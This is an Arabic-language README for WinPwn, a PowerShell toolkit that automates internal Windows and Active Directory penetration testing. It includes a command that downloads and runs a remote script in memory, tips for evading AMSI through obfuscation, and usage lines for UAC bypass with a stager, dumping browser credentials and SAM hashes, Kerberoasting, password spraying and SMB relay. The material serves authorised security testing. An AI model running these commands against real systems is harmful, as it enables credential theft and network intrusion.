
أتمتة لاختبار الاختراق الداخلي لنظام ويندوز / أمن AD
في العديد من اختبارات الاختراق الداخلية السابقة، كنت أواجه مشاكل مع نصوص Powershell الحالية لاكتشاف الثغرات واستغلالها بسبب عدم دعم الوكيل (Proxy). كما كنت أضطر لتشغيل نفس النصوص الواحدة تلو الأخرى للحصول على معلومات حول النظام الحالي و/أو المجال. لأتمتة أكبر عدد ممكن من عمليات اختبار الاختراق الداخلية (الاستكشاف والاستغلال) ولأجل مشكلة الوكيل، كتبت نصي الخاص مع كشف تلقائي للوكيل وتكامله. يعتمد النص بشكل أساسي على مشاريع أمنية هجومية كبيرة ومعروفة بلغة PowerShell.
أي اقتراحات أو ملاحظات أو طلبات سحب (Pull requests) أو تعليقات مرحب بها!
قم باستيراد الوحدات باستخدام:
Import-Module .\WinPwn.ps1 أو
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')
لتجاوز AMSI، استخدم إحدى تقنيات التجاوز الموجودة، وابحث عن المُشغّل (trigger) وقم بتغييره يدويًا في دالة التجاوز، أو قم بتشفير سلسلة المشغّل. بدلاً من ذلك، قم بتعتيم (obfuscate) النص بالكامل.
إذا وجدت نفسك عالقًا في نظام ويندوز بدون اتصال بالإنترنت - لا مشكلة على الإطلاق، فقط استخدم Offline_Winpwn.ps1، حيث أن أهم النصوص والملفات التنفيذية مرفقة.
الوظائف المتاحة بعد الاستيراد:
WinPwn -> قائمة لاختيار الهجمات:
Inveigh -> تنفيذ Inveigh في نافذة كونسول جديدة، مع هجمات SMB-Relay وإدارة الجلسات (Invoke-TheHash) المدمجةSessionGopher -> تنفيذ SessionGopher مع طلب المعاملاتKittielocal ->Localreconmodules ->بدون معاملات، يمكن استخدام معظم الوظائف فقط من شل تفاعلية. لذلك قررت إضافة المعاملات -noninteractive و -consoleoutput لجعل النص قابلاً للاستخدام من إطار عمل C2 غير متزامن مثل Empire أو Covenant أو Cobalt Strike أو غيرها.
بالإضافة إلى ذلك، تمت إضافة المعامل -repo لاستخدام WinPwn بكل ميزاته من مستودع محلي. يمكن استخدامها على النحو التالي:
الاستخدام:
-noninteractive -> لا توجد أسئلة للوظائف بحيث يتم تشغيلها بمعاملات محددة مسبقًا أو يحددها المستخدم
-consoleoutput -> لا يتم إنشاء مجلدات الغنائم/التقارير. تعيد كل وظيفة المخرجات إلى الكونسول حتى تتمكن من الاطلاع على كل شيء في سجلات الوكيل الخاص بإطار C2 الخاص بك
أمثلة:
WinPwn -noninteractive -consoleoutput -DomainRecon -> سيعيد هذا كل نص استكشاف مجال فردي
ووظيفة وربما سيعطيك الكثير من المخرجات
WinPwn -noninteractive -consoleoutput -Localrecon -> سيجمع هذا أكبر قدر ممكن من المعلومات للنظام
المحلي
Generalrecon -noninteractive -> تنفيذ وظائف الاستكشاف المحلي الأساسية وتخزين المخرجات
في المجلدات المناسبة
UACBypass -noninteractive -command "C:\temp\stager.exe" -technique ccmstp -> تنفيذ stager في عملية ذات سلامة عالية
من جلسة ذات صلاحيات منخفضة
Kittielocal -noninteractive -consoleoutput -browsercredentials -> تفريغ بيانات اعتماد المتصفح عبر Sharpweb
مع إعادة المخرجات إلى الكونسول
Kittielocal -noninteractive -browsercredentials -> تفريغ تجزئات NTLM لملف SAM وتخزين
المخرجات في ملف
WinPwn -PowerSharpPack -consoleoutput -noninteractive -> تنفيذ Seatbelt و PowerUp و Watson و
المزيد من ثنائيات C# في الذاكرة
Dotnetsearch -consoleoutput -noninteractive -> البحث في C:\Program Files\ و C:\Program Files (x86)\ عن تجميعات .NET
WinPwn -repo http://192.168.1.10:8000/WinPwn_Repo -> استخدام خادم ويب محلي كمستودع غير متصل لاستخدام WinPwn بدون اتصال بالإنترنت
Get_WinPwn_Repo.sh:
الاستخدام: ./Get_WinPwn_Repo.sh {خيار}
مثال: ./Get_WinPwn_Repo.sh --install
الخيارات: --install تنزيل المستودع ووضعه في ./WinPwn_Repo/ --remove إزالة المستودع ./WinPwn_Repo/ --reinstall إزالة المستودع وتنزيل مستودع جديد إلى ./WinPwn_Repo/ --start-server بدء خادم HTTP بلغة Python على المنفذ 8000 --help عرض هذه المساعدة
استخدام WinPwn لاستهداف أهداف دون موافقة متبادلة مسبقة غير قانوني. من مسؤولية المستخدم النهائي الامتثال لجميع القوانين المحلية والولائية والفيدرالية المعمول بها. لا يتحمل المطورون أي مسؤولية ولا يتحملون مسؤولية أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج. استخدم لأغراض تعليمية فقط.
Domainreconmodules ->Privescmoduleskerneleploits ->UACBypass ->SYSTEMShell ->Shareenumeration -> Invoke-Filefinder و Invoke-Sharefinder (Powerview / Powersploit)Domainshares -> بحث Snaffler أو Passhunt عبر جميع أنظمة المجالGroupsearch -> Get-DomainGPOUserLocalGroupMapping - العثور على الأنظمة التي لديك فيها صلاحيات إدارة أو RDP عبر تعيين سياسات المجموعة (Powerview / Powersploit)Kerberoasting -> تنفيذ Invoke-Kerberoast في نافذة جديدة وتخزين التجزئات للكسر لاحقًاPowerSQL -> اكتشاف خوادم SQL، التحقق من الوصول باستخدام المستخدم الحالي، تدقيق بيانات الاعتماد الافتراضية + هجمات حقن مسار UNCSharphound -> تقرير Bloodhound 3.0Adidnsmenu -> إنشاء عقد DNS مدمجة في Active Directory أو إزالتهاMS17-10 -> فحص خوادم ويندوز النشطة في المجال أو جميع الأنظمة لثغرة MS17-10 (Eternalblue)Sharpcradle -> تحميل ملفات C# من خادم ويب بعيد إلى الذاكرةDomainPassSpray -> هجمات رش كلمات المرور على المجال، كلمة مرور واحدة لجميع مستخدمي المجالBluekeep -> فحص Bluekeep لأنظمة المجال